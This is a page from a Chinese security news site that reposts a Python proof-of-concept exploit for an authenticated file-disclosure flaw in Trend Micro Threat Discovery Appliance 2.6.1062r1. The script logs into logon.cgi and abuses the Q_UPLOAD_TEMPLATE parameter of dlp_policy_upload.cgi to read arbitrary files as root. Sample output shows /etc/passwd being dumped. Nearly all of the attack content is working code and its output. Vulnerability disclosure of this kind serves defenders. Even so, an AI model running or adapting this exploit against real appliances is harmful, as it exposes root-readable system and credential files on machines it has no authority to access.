首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Trend Micro Threat Discovery Appliance 2.6.1062r1 dlp_policy_upload.cgi Informat
来源:steventhomasseeley at gmail.com 作者:mr_me 发布时间:2017-04-20  
#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 dlp_policy_upload.cgi Information Disclosure Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ 
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1

Summary:
========

There exists a post authenticated file disclosure vulnerability that can be used to leak files as root.

Notes:
======

- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...

Example:
========

saturn:trend_micro_threat_discovery_dlp_policy_upload_lfd mr_me$ ./poc.py
(+) usage: ./poc.py <target> <pass> <file>
(+) eg: ./poc.py 172.16.175.123 admin /etc/passwd
saturn:trend_micro_threat_discovery_dlp_policy_upload_lfd mr_me$ ./poc.py 172.16.175.123 admin123 /etc/passwd
(+) logged in...
(+) downloading file...
root:x:0:0:root:/root:/bin/true
tda:x:1:1:nobody:/:/bin/true
monitor:x:1:1:nobody:/:/bin/true
pcap:x:77:77:tcpdump:/var/log:/bin/true
saturn:trend_micro_threat_discovery_dlp_policy_upload_lfd mr_me$ ./poc.py 172.16.175.123 admin123 /var/i_dont_exist
(+) logged in...
(+) downloading file...
(-) file: /var/i_dont_exist doesnt exist!
"""

import re
import sys
import requests

requests.packages.urllib3.disable_warnings()

def remove_last_line_from_string(s):
    return s[:s.rfind('\r\n')]

def download_file():
    r = s.get("https://%s/cgi-bin/dlp_policy_upload.cgi?Q_UPLOAD_ID=1&Q_UPLOAD_TEMPLATE=%s" % (t, f), verify=False)
    data = r.text
    if len(data) > 52:
        fdata = str(data).split("\n")
        fdata.pop()
        fdata.pop()
        print '\n'.join(fdata)
    else:
        print "(-) file: %s doesnt exist!" % f

if len(sys.argv) != 4:
    print "(+) usage: %s <target> <pass> <file>" % sys.argv[0]
    print "(+) eg: %s 172.16.175.123 admin /etc/passwd" % sys.argv[0]
    sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]
f = sys.argv[3]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu

s = requests.Session()

r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
    print "(+) logged in..."
    print "(+) downloading file..."
    download_file()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Trend Micro Threat Discovery A
·Trend Micro Threat Discovery A
·Trend Micro Threat Discovery A
·Microsoft Windows IFEO Winlogi
·Trend Micro Threat Discovery A
·Apple WebKit / Safari 10.0.2(1
·Trend Micro Threat Discovery A
·Apple WebKit / Safari 10.0.2(1
·Trend Micro Threat Discovery A
·Microsoft Windows 10 10586 - I
·Trend Micro Threat Discovery A
·VirtualBox 5.1.14 r112924 - Un
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved